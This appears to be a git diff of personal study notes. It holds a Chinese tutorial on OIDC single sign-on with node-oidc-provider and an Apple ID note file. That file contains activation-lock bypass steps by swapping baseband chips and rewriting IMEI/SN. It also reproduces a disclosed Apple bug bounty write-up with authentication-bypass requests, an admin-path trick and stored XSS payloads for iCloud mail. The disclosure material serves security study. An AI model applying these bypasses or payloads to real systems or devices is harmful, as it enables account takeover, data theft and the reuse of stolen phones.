文件夹: + +```yaml +$ cd ./example + +# 编辑 ./support/configuration.js +# 更改第 16 行的 clients 配置, +# 为自己指定了一个 client_id 和一个 client_secret, +# 其中的 grant_types 为授权模式,authorization_code 授权码模式, +# redirect_uris 数组是允许的业务回调地址,需要填写 Web App 应用的地址, OIDC Provider 会将临时授权码发送到这个地址,以便后续换取 token。 + +module.exports = { + clients: [{ + client_id: '1', + client_secret: '1', + grant_types: [ + 'refresh_token', + 'authorization_code' + ], + redirect_uris: [ + 'https://baidu.com', + 'https://localhost:8080/app1.html', + 'https://localhost:8080/app2.html' + ], + }, + ], +``` + + + + + +##### 启动 node-oidc-provider + +在 node-oidc-provider/example 文件夹下,运行以下命令来启动我们的 OP: + +```bash +$ node express.js +``` +到现在,我们的准备工作已经完成了 + + + + + +##### 编写第一个应用 + +我们创建一个 app1.html 文件来编写第一个应用 demo,在 demo/app 目录下创建: + +```js +$ touch app1.html + +// 并写入以下内容: + + + + + + 第一个应用 + + + + + 登录 + + + + +``` + + + + + +##### 编写第二个应用 + +我们创建一个 app2.html 文件来编写第二个应用 demo,注意 redirect_uri 的变化,在 demo/app 目录下创建: + +```js +$ touch app2.html +// 并写入以下内容: + + + + + + + 第二个应用 + + + + 登录 + + + +``` + + + +##### 向 OIDC Provider 发起登录请求 + +现在我们启动一个 web 服务器,推荐使用 http-server + +```bash +$ npm install -g http-server # 安装 http-server +$ cd demo/app +$ http-server . +``` + + +1. 我们访问第一个应用:https://localhost:8080/app1.html +2. 点击「登录」,也就是访问 OIDC Provider 的授权接口。 +3. 然后我们来到了 OIDC Provider 交互环节,OIDC Provider 发现用户没有登录,要求用户先登录。 +4. node-oidc-provider demo 会放通任意用户名 + 密码 + 1. 但是你在真正实施单点登录时,你必须使用你的用户目录即中央数据表中的用户数据来鉴权用户 + 2. 相关的代码可能会涉及到数据库适配器,自定义用户查询逻辑,这些在 node-oidc-provider 包的相关配置中需要自行插入。 + +5. 点击「登录」,转到确权页面,这个页面会显示你的应用需要获取那些用户权限,本例中请求用户授权获取他的基础资料。 + +6. 点击「继续」,完成在 OP 的登录,之后 OP 会将浏览器重定向到预先设置的业务回调地址,所以我们又回到了 app1.html。 + +7. 在 url query 中有一个 code 参数,这个参数就是临时授权码。 + 1. code 最终对应一条用户信息,接下来看我们如何获取用户信息。 + + +##### Web App 从 OIDC Provider 获取用户信息 + +code 可以直接发送到后端,然后在后端使用 code 换取 access_token。 + + +```bash +# 用 curl 命令来发送 HTTP 请求: + +$ curl --location \ + --request POST 'https://localhost:3000/token' \ + --header 'Content-Type: application/x-www-form-urlencoded' \ + --data-urlencode 'client_id=1' \ + --data-urlencode 'client_secret=1' \ + --data-urlencode 'redirect_uri=https://localhost:8080/app2.html' \ + --data-urlencode 'code=QL10pBYMjVSw5B3Ir3_KdmgVPCLFOMfQHOcclKd2tj1' \ + --data-urlencode 'grant_type=authorization_code' + + +# 获取到 access_token 之后,我们可以使用 access_token 访问 OP 上面的资源 +# 主要用于获取用户信息,即你的应用从你的用户目录中读取一条用户信息。 + +# 你可以使用 curl 来发送 HTTP 请求: +$ curl --location \ + --request POST 'https://localhost:3000/me' \ + --header 'Content-Type: application/x-www-form-urlencoded' \ + --data-urlencode 'access_token=I6WB2g0Rq9G307pPVTDhN5vKuyC9eWjrGjxsO2j6jm-' +``` + + +用 postman 演示如何通过 code 换取 access_token。 + + +到此,App 1 的登录已经完成,接下来,让我们看进入 App 2 是怎样的情形。 + + + + + +##### 登录第二个 Web App + + + +1. 打开第二个应用,https://localhost:8080/app2.html + +2. 然后点击「登录」。 + + + +3. 用户已经在 App 1 登录时与 OP 建立了会话,User ←→ OP 已经是登录状态 + 1. 所以 OP 检查到之后,没有再让用户输入登录凭证,而是直接将用户重定向回业务地址,并返回了授权码 code。 + +3. 同样,App 2 使用 code 换 access_token + +```bash +# curl 命令代码: +$ curl --location \ + --request POST 'https://localhost:3000/token' \ + --header 'Content-Type: application/x-www-form-urlencoded' \ + --data-urlencode 'client_id=1' \ + --data-urlencode 'client_secret=1' \ + --data-urlencode 'redirect_uri=https://localhost:8080/app2.html' \ + --data-urlencode 'code=QL10pBYMjVSw5B3Ir3_KdmgVPCLFOMfQHOcclKd2tj1' \ + --data-urlencode 'grant_type=authorization_code' + +# 再使用 access_token 换用户信息,可以看到,是同一个用户。 + +# curl 命令代码: +$ curl --location \ + --request POST 'https://localhost:3000/me' \ + --header 'Content-Type: application/x-www-form-urlencoded' \ + --data-urlencode 'access_token=I6WB2g0Rq9G307pPVTDhN5vKuyC9eWjrGjxsO2j6jm-' +``` + + +到此,我们实现了 App 1 与 App 2 之间的账号打通与单点登录。 + + + +##### 登录态管理 + +**单点登录** +- 实现了两个应用之间账号的统一,而且在 App 1 中登录时输入一次密码,在 App 2 中登录,无需再次让用户输入密码进行登录,可以直接返回授权码到业务地址然后完成后续的用户信息获取。 + + + +退出问题 + +**只退出 App 1 而不退出 App 2** + +![20200327105659964](https://i.imgur.com/8lM2DWf.png) + +这个问题实质上是登录态的管理问题。我们应该管理三个会话: +- User ←→ App 1、 +- User ←→ App 2、 +- User ←→ OP。 + +当 OP 给 App 1 返回 code 时,App 1 的后端在完成用户信息获取后,应该与浏览器建立会话,也就是说 App 1 与用户需要自己保持一套自己的登录状态,方式上可以通过 App 1 自签的 JWT Token 或 App 1 的 cookie-session。 + +对于 App 2,也是同样的做法。 + +当用户在 App 1 退出时,App 1 只需清理掉自己的登录状态就完成了退出,而用户访问 App 2 时,仍然和 App 2 存在会话,因此用户在 App 2 是登录状态。 + + + +**同时退出 App 1 和 App 2** + +![20200327105700129](https://i.imgur.com/xua0Iz0.png) + +单点登出,即用户只需退出一次,就能在所有的应用中退出,变成未登录状态。 + +1. 在 OIDC Provider 进行登出。 +2. 因为用户和 App 1 , App 2 之间的会话同样依然保持,所以用户在 App 1 和 App 2 的状态仍然是登录态。 + +所以,有没有什么办法在用户从 OIDC Provider 登出之后,App 1 和 App 2 的会话也被切断呢?我们可以通过 `OIDC Session Mangement` 来解决这个问题。 + +简单来说,App 1 的前端需要轮询 OP +- 不断询问 OP:用户在你那还登录着吗? +- 如果答案是否定的,App 1 主动将用户踢下线,并将会话释放掉,让用户重新登录, +- App 2 也是同样的操作。 + + +当用户在 OP 登出后,App 1、App 2 轮询 OP 时会收到用户已经从 OP 登出的响应,接下来,应该释放掉自己的会话状态,并将用户踢出系统,重新登录。 + +OIDC Session Management +- 这部分的核心就是两个 iframe +- 一个是我们自己应用中写的(以下叫做 RP iframe),用于不断发送 PostMessage 给 OP iframe, +- OP iframe 负责查询用户登录状态,并返回给 RP iframe。 + + +首先打开 node-oidc-provider 的 sessionManangement 功能,编辑 ./support/configuration.js 文件,在 42 行附近,进行以下修改: + +```yaml +features: { + sessionManagement: { + enabled: true, + keepHeaders: false, + }, +}, +``` + + +然后和 app1.html、app2.html 平级新建一个 rp.html 文件,并加入以下内容: + +```java + +``` + + +在 app1.html 和 app2.html 中加入两个 iframe 标签: + + + + + +使用 Ctrl + C 关闭我们的 node-oidc-provider 和 http-server,然后再次启动。访问 app1.html,打开浏览器控制台,会得到以下信息,这意味着,用户当前处于未登录状态,应该进行 App 自身会话的销毁等操作 + + + +然后我们点击「登录」,在 OP 完成登录之后,回调到 app1.html,此时用户变成了登录状态,注意地址栏多了一个参数:session_state,这个参数就是我们上文用于在代码中向 OP iframe 轮询时需要携带的参数。 + + + +现在我们试一试单点登出,对于 node-oidc-provider 包提供的 OIDC Provider,只需要前端访问 localhost:3000/session/end + + + +收到来自 OP 的登出成功信息 + + + +我们转到 app1.html 看一下,此时控制台输出,用户已经登出,现在要执行会话销毁等操作了。 + + + +不想维护 App 1 与用户的登录状态、App 2 与用户的登录状态 + +如果不各自维护 App 1、App 2 与用户的登录状态,那么无法实现只退出 App 1 而不退出 App 2 这样的需求。所有的登录状态将会完全依赖用户与 OP 之间的登录状态,在效果上是:用户在 OP 一次登录,之后访问所有的应用,都不必再输入密码,实现单点登录;用户在 OP 登出,则在所有应用登出,实现单点登出。 + +使用 Authing 解决单点登录 + +以上就是一个完整的单点登录系统的轮廓,我们需要维护一份全体用户目录,进行用户注册、登录;我们需要自己搭建一个 OIDC Provider,并申请一个 OIDC Client;我们需要使用 code 换 token,token 换用户信息;我们需要在自己的应用中不断轮询 OP 的登录状态。 + +读到这里,你可能会觉得实现一套完整的单点登录系统十分繁琐,不仅要对 OIDC 协议非常熟悉,还要自己架设 OIDC Provider,并且需要自行处理应用、用户、OP 之间登录状态。有没有开箱即用的登录服务呢?Authing 能够提供云上的 OP,云上的用户目录和直观的控制台,能够轻松管理所有用户、完成对 OP 的配置。 + + + + + +Authing 对开发者十分友好,提供丰富的 SDK,进行快速集成。 + + + +如果你不想关心登录的细节,将 Authing 集成到你的系统必定能够大幅提升开发效率,能够将更多的精力集中到核心业务上。 + + + + + +--- + +# compare + +usually session-based for web browser, token-based for app + +Scalability +1. Session based authentication: + - Because the sessions are stored in the server`s memory + - scaling becomes an issue when there is a huge number of users using the system at once. +2. Token based authentication: + - no issue with scaling + - because token is stored on the client side. + + +Multiple Device +1. Session based authentication: + - Cookies normally work on a single domain or subdomains and they are normally disabled by browser if they work cross-domain (3rd party cookies). + - It poses issues when APIs are served from a different domain to mobile and web devices. +2. Token based authentication: + - no issue with cookies as the JWT is included in the request header. + + + +- JWT + - the size is much bigger comparing with the session id stored in cookie + - because JWT contains more user information. +- Care must be taken to ensure only the necessary information is included in JWT +- and sensitive information should be omitted to prevent XSS security attacks. + + + +--- + + +ref: +- [Session vs Token Based Authentication](https://medium.com/@sherryhsu/session-vs-token-based-authentication-11a6c5ac45e4) +- [HTTP authentication](https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication) +- [Session vs Token-Based Authentication](https://medium.com/@allwinraju/session-vs-token-based-authentication-b1f862dd7ed8) +- [Difference between cookies, session and tokens](https://www.youtube.com/watch?v=44c1t_cKylo&ab_channel=ValentinDespa) +- [Authentication Types Ethical Hackers Academy || Cyber Security News](https://www.linkedin.com/posts/ethical-hackers-academy_authentication-types-ethical-hackers-academy-activity-6710268783136796672-g5Fl) + +- https://openid.net/specs/openid-connect-core-1_0.html +- https://www.jianshu.com/p/be7cc032a4e9 +- https://demo.c2id.com/oidc-client/ +- https://deepzz.com/post/what-is-oidc-protocol.html diff --git a/_posts/00Basic/Auth/idms.md b/_posts/00Basic/Auth/idms.md new file mode 100644 index 00000000000..5c1ccb9b083 --- /dev/null +++ b/_posts/00Basic/Auth/idms.md @@ -0,0 +1,964 @@ + +- [IDMS](#idms) +- [some history bug](#some-history-bug) + - [Apple ID锁 解锁与激活问题:](#apple-id锁-解锁与激活问题) + - [3个月时间,5名黑客找出苹果55个漏洞,赚了5万多美元,还写了篇博客记录全程](#3个月时间5名黑客找出苹果55个漏洞赚了5万多美元还写了篇博客记录全程) + - [Reconnaissance](#reconnaissance) + - [Vulnerabilities Discovered](#vulnerabilities-discovered) + - [Vulnerability Write-Ups](#vulnerability-write-ups) + - [Full Compromise of Apple Distinguished Educators Program via Authentication and Authorization Bypass](#full-compromise-of-apple-distinguished-educators-program-via-authentication-and-authorization-bypass) + - [Full Compromise of DELMIA Apriso Application via Authentication Bypass](#full-compromise-of-delmia-apriso-application-via-authentication-bypass) + - [Wormable Stored Cross-Site Scripting Vulnerabilities Allow Attacker to Steal iCloud Data through a Modified Email](#wormable-stored-cross-site-scripting-vulnerabilities-allow-attacker-to-steal-icloud-data-through-a-modified-email) + - [Stored XSS via Style Tag Confusion](#stored-xss-via-style-tag-confusion) + - [Stored XSS via Hyperlink Confusion](#stored-xss-via-hyperlink-confusion) + - [Command Injection in Author’s ePublisher](#command-injection-in-authors-epublisher) + - [Full Response SSRF on iCloud allows Attacker to Retrieve Apple Source Code](#full-response-ssrf-on-icloud-allows-attacker-to-retrieve-apple-source-code) + - [Nova Admin Debug Panel Access via REST Error Leak](#nova-admin-debug-panel-access-via-rest-error-leak) + - [AWS Secret Keys via PhantomJS iTune Banners and Book Title XSS](#aws-secret-keys-via-phantomjs-itune-banners-and-book-title-xss) + - [Heap Dump on Apple eSign Allows Attacker to Compromise Various External Employee Management Tools](#heap-dump-on-apple-esign-allows-attacker-to-compromise-various-external-employee-management-tools) + - [XML External Entity processing to Blind SSRF on Java Management API](#xml-external-entity-processing-to-blind-ssrf-on-java-management-api) + - [GBI Vertica SQL Injection and Exposed GSF API](#gbi-vertica-sql-injection-and-exposed-gsf-api) + - [Various IDOR Vulnerabilities](#various-idor-vulnerabilities) + - [App Store Connect](#app-store-connect) + - [iCloud Find my Friends IDOR](#icloud-find-my-friends-idor) + - [Support Case IDOR](#support-case-idor) + - [IDOR on mfi.apple.com](#idor-on-mfiapplecom) + - [Various Blind XSS Vulnerabilities](#various-blind-xss-vulnerabilities) + - [Conclusion](#conclusion) + +--- + + +# IDMS + + +**Apple ID** +- Apple ID, 一个集全功能于一身的帐户,允许用户访问苹果的各种资源 +- Apple ID可以被用于由苹果提供的多个产品和服务 +- 可以称为Apple账户. MobileMe账户. Mac账户. iTunes Store账户和iChat账户 +- Apple ID 是苹果公司为其产品(如iWork. iTunes Store和Apple Store)所引入的認证系统。 +- Apple ID 需要一个`Email`, 配合密码用户就可以在iPhone上的App Store轻松下载和更新软件。 + + +--- + +# some history bug + +## Apple ID锁 解锁与激活问题: + +激活锁 +- 激活锁的锁定依据就是机器本身的`IMEI`和`SN`码,如果能将这两个码替换掉的话自然就能解开 +- IMEI. SN码是存储在`基带芯片`和`基带字库`上的,只要更换这两个芯片然后写入另外一组码就可以 + +1. 拆机将主板取出。 +2. 需要替换的就是`基带芯片`和`基带字库` +3. 首先用风将屏蔽罩取下,然后再拆卸芯片 +4. 将用于替换的`基带芯片`和`基带字库`装回主板。 +5. 把可用的IMEI和SN码写入新装嘚`基带芯片`和`基带字库`中, 需要用到专业的写号器和软件。 +6. 进行完上述操作后将主板装好测试开机,这时激活就不需要Apple ID和密码了 + +--- + + +## 3个月时间,5名黑客找出苹果55个漏洞,赚了5万多美元,还写了篇博客记录全程 + +- [We Hacked Apple for 3 Months: Here’s What We Found](https://samcurry.net/hacking-apple/) + + +Between the period of July 6th to October 6th myself, Brett Buerhaus, Ben Sadeghipour, Samuel Erb, and Tanner Barnes worked together and hacked on the Apple bug bounty program. + +* Sam Curry ([@samwcyo](https://twitter.com/samwcyo)) +* Brett Buerhaus ([@bbuerhaus](https://twitter.com/bbuerhaus)) +* Ben Sadeghipour ([@nahamsec](https://twitter.com/nahamsec)) +* Samuel Erb ([@erbbysam](https://twitter.com/erbbysam)) +* Tanner Barnes ([@\_StaticFlow\_](https://twitter.com/_StaticFlow_)) + +--- + +### Reconnaissance + +入侵苹果的第一步是弄清楚实际目标是什么。弄清楚可以访问的所有苹果的内容。他们扫描的所有结果都在仪表板中建立了索引,该仪表板包括HTTP状态代码,标头,响应正文以及Apple拥有的各个域下可访问的Web服务器的屏幕快照,我们将在参与过程中参考这些。 + + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/10/recon_img-1024x524.png) + +To be brief: Apple's infrastructure is massive. + +苹果的基础设施规模巨大 +- They own the entire 17.0.0.0/8 IP range, which includes +- 25,000 web servers with 10,000 of them under apple.com, another 7,000 unique domains, +- and to top it all off, their own TLD (dot apple). +- time was primarily spent on the 17.0.0.0/8 IP range, .apple.com, and .icloud.com + +After making a listing of all of the web servers, we began running **directory brute forcing** on the more interesting ones. + +Some of the immediate findings from the automated scanning were... + +* VPN servers affected by Cisco CVE-2020-3452 Local File Read 1day (x22) +* Leaked Spotify access token within an error message on a broken page + +The information obtained by these processes were useful in understanding +- how authorization/authentication worked across Apple, +- what customer/employee applications existed, +- what integration/development tools were used, +- and various observable behaviors like web servers consuming certain cookies or redirecting to certain applications. + + + +After had a general understanding of the Apple infrastructure, began targeting individual web servers that felt instinctively more likely to be vulnerable than others. + + +--- + + +### Vulnerabilities Discovered + + +--- + +### Vulnerability Write-Ups + +We can’t write about all the vulnerabilities we discovered, but here is a sample of some of the more interesting vulnerabilities. + +1. [Full Compromise of Apple Distinguished Educators Program via Authentication and Authorization Bypass]() +2. [Full Compromise of DELMIA Apriso Application via Authentication Bypass]() +3. [Wormable Stored Cross-Site Scripting Vulnerabilities Allow Attacker to Steal iCloud Data through a Modified Email]() +4. [Command Injection in Author’s ePublisher]() +5. [Full Response SSRF on iCloud allows Attacker to Retrieve Apple Source Code]() +6. [Nova Admin Debug Panel Access via REST Error Leak]() +7. [AWS Secret Keys via PhantomJS iTune Banners and Book Title XSS]() +8. [Heap Dump on Apple eSign Allows Attacker to Compromise Various External Employee Management Tools]() +9. [XML External Entity processing to Blind SSRF on Java Management API]() +10. [GBI Vertica SQL Injection and Exposed GSF API]() +11. [Various IDOR Vulnerabilities]() +12. [Various Blind XSS Vulnerabilities]() + + +--- + +### Full Compromise of Apple Distinguished Educators Program via Authentication and Authorization Bypass + + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/10/untitled.png) + +“Apple Distinguished Educators” site. +- an invitation-only **Jive forum** +- users could authenticate using their Apple account. S +- some of the core Jive functionality to register to the app was ported through a **custom middleware page** built by Apple in order to connect their `authentication system (IDMSA)` to the underlying Jive forum which normally used username/password authentication. + - built to allow users to easily use their already existing Apple account to authenticate to the forum and not have to deal with creating an additional user account. You would simply use the “Sign In With Apple” and be logged into the forum. + - The landing page for users who were not allowed to access the forum was an **application portal** where you provided information about yourself that was assessed by the forum moderators for approval. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_reg_upda.png) + +When you submitted an application to use the forum +- you supplied nearly all of the values of your account as if you were registering to the Jive forum normally. +- This would allow the Jive forum to know who you were based on your `IDMSA cookie` since it tied your email address belonging to your Apple account to the forum. + +- One of the values that was hidden on the page within the application to register to use the forum was a `“password”` field with the value `“_###INvALID#%!3_”`. + - When you submitted your application that included your username, first and last name, email address, and employer, you were also submitting a “password” value + - it was then secretly tied to your account sourced from a hidden input field on the page. + +```html +
    + +
    +``` + +observing the hidden default password field leads to +- find a way to manually authenticate to the application and access an approved account for the forum +- instead of attempting to login using the “Sign In With Apple” system. + +We investigated this because the password was the same for each one of us on our separate registrations. + +If anyone had applied using this system and there existed functionality where you could manually authenticate, you could simply login to their account using the default password and completely bypass the "Sign In With Apple" login. + +From a quick glance, it did not appear that you could manually authenticate +- after a few Google searches we identified a `“cs\_login”` endpoint which was meant for logging in with a username and password to Jive applications. + - manually formed the test HTTP request to authenticate to the `Apple Distinguished Developers application`, + - it attempted to authenticate us by displaying an incorrect password error. + - used our own accounts that we had previously applied with, the application errored out and did not allow us to authenticate as we were not yet approved. + - would have to find the username of an already approved member if we wanted to authenticate. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/jive_authentication.png) + + + +At this point, we loaded the HTTP request into Burp Suite’s intruder and attempted to **brute force usernames** between 1 and 3 characters via the login and default password. +- After about two minutes we received a 302 response indicating a successful login to a user with a 3 character username using the default password we found earlier. +- We were in! + + +next goal was to authenticate as someone with elevated permissions. +- took a few screenshots of our access and clicked the “Users” list to view which users were administrators. +- We logged into the first account we saw on the list in an attempt to prove we could achieve remote code execution via the administrative functionality, however, there were still a few roadblocks ahead. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/ade_x-1024x529.png) + + + +When attempting to browse to “/admin/” (the Jive administrator console) as the admin account +- the application redirected to login as if we were not yet authenticated. +- This was strange, as it was custom behavior for the Jive application and none of us had observed this before. +- Our guess was that Apple had restricted the administration console based on IP address to make sure that there was never a full compromise of the application. + +One of the first things we tried was using the X-Forwarded-For header to bypass the hypothetical restriction, but sadly that failed. + +The next thing we tried was to load a different form of “/admin/” in-case the application had path specific blacklists for accessing the administrator console. + +After just a few more HTTP requests, we figured out that `“GET /admin;/”` would allow an attacker to access the administration console. +- We automated this bypass by setting up a Burp Suite rule which automatically changed `“GET/POST /admin/”` to `“GET/POST /admin;/”` in our HTTP requests. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/match_and_replace.png) + +When we finally navigated and loaded the administration console, it was immediately clear that something wasn’t right. +- We did not have access to the normal functionality that would demonstrate remote code execution (there was no templating, plugin upload, nor the standard administrative debugging functionality). + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/welcome_to_jive-1024x388.png) + +the account we authenticated to may not be the “core” administrator of the application. +- We went ahead and authenticated to 2-3 more accounts before finally authenticating as the core administrator and seeing functionality that would allow for remote code execution. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/jive_home-1024x477.png) + +An attacker could +1. bypass the authentication by manually authenticating using a hidden default login functionality, +2. then access the administration console via sending a modified HTTP path in the request, +3. and finally completely compromise the application by using the one of many “baked in RCE” functionalities like plugin upload, templating, or file management. + +Overall, this would've allowed an attacker to... + +* Execute arbitrary commands on the ade.apple.com webserver +* Access the internal LDAP service for managing user accounts +* Access the majority of Apple's internal network + +At this point, we finished the report and submitted everything. + + + +--- + + + +### Full Compromise of DELMIA Apriso Application via Authentication Bypass + +any accessible services relating to the manufacturing and distribution of their products? +- there was an application called "DELMIA Apriso" which was a third-party "Global Manufacturing Suite" which provided what appeared to be various warehouse solutions. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/10/DELMIA_Apriso_2016_ProductMap_000.png) + +Sadly, there did not appear to be much available interaction for the technology as you could only "login" and "reset password" from the available interfaces. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/10/colormasters-1024x364.png) + +find vulnerabilities on the limited number of pages +- we were authenticated as a user called "Apple No Password User" based on a bar which appeared in the upper right portion of the site. +- by clicking "Reset Password", we were temporarily authenticated as a user who had "Permission" to use the page. + +> The application's authentication model worked whereas users had specific permissions to use specific pages. +> The "reset password" page counted as a page itself, so in order to let us use it, the application automatically logged us into an account that was capable of using the page. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/10/app_no_pw.png) + +sent an HTTP request to an OAuth endpoint in an attempt to generate an authorization bearer that we could use to explore the API. +- Our user account, even though its permissions were intended to be limited to authorization and resetting our password, could **generate a bearer** which had permission to access the API version of the application. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/10/req-rez-1024x179.png) + +now able to explore the API +- found a list of API requests for the application. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/10/web_api_ref.png) + +did not have access to the majority of the API calls, +- but some sections like "Operations" disclosed a massive number of available functionalities. + +- hit the `"/Apriso/HttpServices/api/platform/1/Operations"` endpoint, it return a list of nearly 5,000 different API calls. + - None of these required authentication beyond the initial authorization bearer we initially sent. +- The operations disclosed here included things like... + * Creating and modifying shipments + * Creating and modifying employee paydays + * Creating and modifying inventory information + * Validating employee badges + * Hundreds of warehouse related operations + +The one paid most attention to was `"APL\_CreateEmployee\_SO"`. +- send a GET request to the specific operations and receive the expected parameters using the following format: + +```html +GET /Apriso/HttpServices/api/platform/1/Operations/operation HTTP/1.1 +Host: colormasters.apple.com + + + + { + "InputTypes": { + "OrderNo": "Char", + "OrderType": "Integer", + "OprSequenceNo": "Char", + "Comments": "Char", + "strStatus": "Char", + "UserName": "Char" + }, + "OutputTypes": {}, + "OperationCode": "APL_Redacted", + "OperationRevision": "APL.I.1.4" + } + + + + { + "inputs": { + "param": "value" + } + } +``` + +The "create employee" function required various parameters that relied on UUIDs +- but we were able to retrieve these via the other "Operations" and fill them in as we went along. +- formed the following API request +- After we sent this API call, we could now authenticate as a global administrator to the application. +- This gave us full oversight to the warehouse management software and probably RCE via some accepted functionality. + + +```html + POST /Apriso/HttpServices/api/platform/1/Operations/redacted HTTP/1.1 + Host: colormasters.apple.com + Authorization: Bearer redacted + Connection: close + Content-Type: application/json + Content-Length: 380 + { + "inputs": { + "Name": "Samuel Curry", + "EmployeeNo": "redacted", + "LoginName": "yourloginname123", + "Password": "yourpassword123", + "LanguageID": "redacted", + "AddressID": "redacted", + "ContactID": "redacted", + "DefaultFacility": "redacted", + "Department": "", + "DefaultMenuItemID": "redacted", + "RoleName": "redacted", + "WorkCenter": "" + } + } +``` + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/10/memrz-1024x469.png) + +There were hundreds of different functionalities that would've caused massive information disclosure and been capable of disrupting what appeared to be a somewhat crucial application used for inventory and warehouse management. + + +--- + + +### Wormable Stored Cross-Site Scripting Vulnerabilities Allow Attacker to Steal iCloud Data through a Modified Email + +One of the core parts of Apple’s infrastructure is their iCloud platform. +- This website works as an automatic storage mechanism for photos, videos, documents, and app related data for Apple products. +- Additionally, this platform provides services like Mail and Find my iPhone. + +The mail service +- a full email platform +- users can send and receive emails similar to Gmail and Yahoo. +- there is a mail app on both iOS and Mac which is installed by default on the products. +- The mail service is hosted on “www.icloud.com” alongside all of the other services like file and document storage. + +from an attackers perspective +- any cross-site scripting vulnerability would allow an attacker to retrieve whatever information they wanted to from the iCloud service. + + + +the mail application +- When the service receives an email and a user opens it, the data is processed into a JSON blob which is sanitized and picked apart by JavaScript and then displayed to the user. +- This means that there is no server side processing of the emails in terms of content sanitation, and that all of the actual functionality to render and process the mail body is within the JavaScript where it’s done client side. +- This isn’t necessarily a bad thing, but simplifies the process of identifying XSS by understanding what specifically we’ll need to break within the source code. + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/icloud-mail.jpg) + + + +#### Stored XSS via Style Tag Confusion + +`“”` tag. +- This means that if we wrote `“”` and it was fully rendered in the DOM, +- there would be no alert prompt as the content of the tag is strictly CSS and the script tag was stuffed within the tag and not beyond the closing tag. + +From a sanitization perspective, the only things Apple would need to worry about here would be an ending style tag, or if there was sensitive information on the page, CSS injection via **import chaining**. + +- trying to break out of the style tag without Apple realizing it since it would be a very straightforward stored XSS if achievable. +- trying various permutations and eventually observed + - when you had two style tags within the email, the contents of the style tags would be concatenated together into one style tag. + - This meant that if we could get `“”` into the second tag, it would be possible to trick the application into thinking our tag was still open when it really wasn’t. + - sent the following payload to test if it would work: + +``` + + +``` + +An explanation of the above payload is as follows: + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/diagram_explan.png) + + + +The email popped up in my inbox. +- clicked it. +- There was an alert prompt! +- It had worked! + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/alert-1.png) + +The DOM of the page included the following: + +```html + +``` + + +Since the mail application is hosted on “www.icloud.com” +- this meant that we had browser permissions to retrieve the HTTP responses for the corresponding APIs for the iCloud service (if we could sneak in the JavaScript to reach out to them). + + +**Goal**: steals all of the victim’s personal information (photos, calendar information, and documents) then forwards the same exploit to all of their contacts. +- built a neat PoC which would return the photo URLs from the iCloud API, stick them into image tags, and then append a list of contacts for the user account underneath them. +- This demonstrated that it was possible to retrieve the values, but in order to exfiltrate them we would have to bypass a CSP which meant no easy outbound HTTP requests to anything but “.apple.com” and a few other domains. + +Luckily for us, the service is a mail client. We can simply use JavaScript to invoke an email to ourselves, attach the iCloud photo URLs and contacts, then fire away all of the victim’s signed iCloud photo and document URLs. + +The following video demonstrates a proof of concept whereas a victim’s photos are stolen. In a full exploitation scenario performed by a malicious party, an attacker could silently steal all of the victim’s photos, videos, and documents, then forward the modified email to the victim’s contact list and worm the cross-site scripting payload against the iCloud mail service. + +### Stored XSS via Hyperlink Confusion + +Later on I found a second cross-site scripting vulnerability affecting mail in a similar fashion. + +One thing I’ll always check with these sorts of semi-HTML applications is how they handle hyperlinks. It seems intuitive to automatically turn an unmarked URL into a hyperlink, but it can get messy if it isn’t being sanitized properly or is combined with other functionalities. This is a common place to look for XSS due to the reliance on regex, innerHTML, and all of the accepted elements you can add alongside the URL. + +The second piece of interesting functionality for this XSS is the total removal of certain tags like “https://domain.com/abc + +After sending the above by itself within an email, the content was parsed to the following: + + https://www.domain.com/abc + +This was very interesting to see initially, but exploiting it would be a bit harder. It is easy to define the attributes within the tag (e.g. src, onmouseover, onclick, etc.) but providing the values would be difficult as we still had to match the URL regex so it wouldn’t escape the automatic hyperlinking functionality. The payload that eventually worked without sending single quotes, double quotes, parenthesis, spaces, or backticks was the following: + + https://www.icloud.com/mail/#https://www.icloud.com/onmouseover=location=/javascript:alert%28document.domain%29/.source;// + +The payload produced this in the DOM: + + https://www.icloud.com/onmouseover=location=/javascript:alert%28document.domain%29/.source;// + +And gave us this beautiful alert prompt: + +![pic](https://secureservercdn.net/198.71.233.25/623.f31.myftpupload.com/wp-content/uploads/2020/08/2nd_xss.png) + +This payload was from a CTF solution by @Blaklis\_. I had originally thought it might be an unexploitable XSS, but there seems to always be a solution somewhere for edge case XSS. + +> ?age=19;location=/javascript:alert%25281%2529/.source; :> +> +> — Blaklis (@Blaklis\_) [May 7, 2019](https://twitter.com/Blaklis_/status/1125663871056928769?ref_src=twsrc%5Etfw) + +My best explanation here is that 1. when loading the initial URL the characters within the “” were acceptable within the automatic hyperlinking process and didn’t break it, then (2) the removal of the script tags created a space or some sort of void which reset the automatic hyperlinking functionality without closing the initial hyperlinking functionality, and lastly (3) the second hyperlink added the additional quote that was used to both break out of the href and create the onmouseover event handler. + +The impact for the second XSS was the same as the first one, except for this one the user would have to trigger the onmouseover event handler via putting their mouse somewhere within the email body, but this part could be simplified to trigger more easily by making the hyperlink of the entire email. + 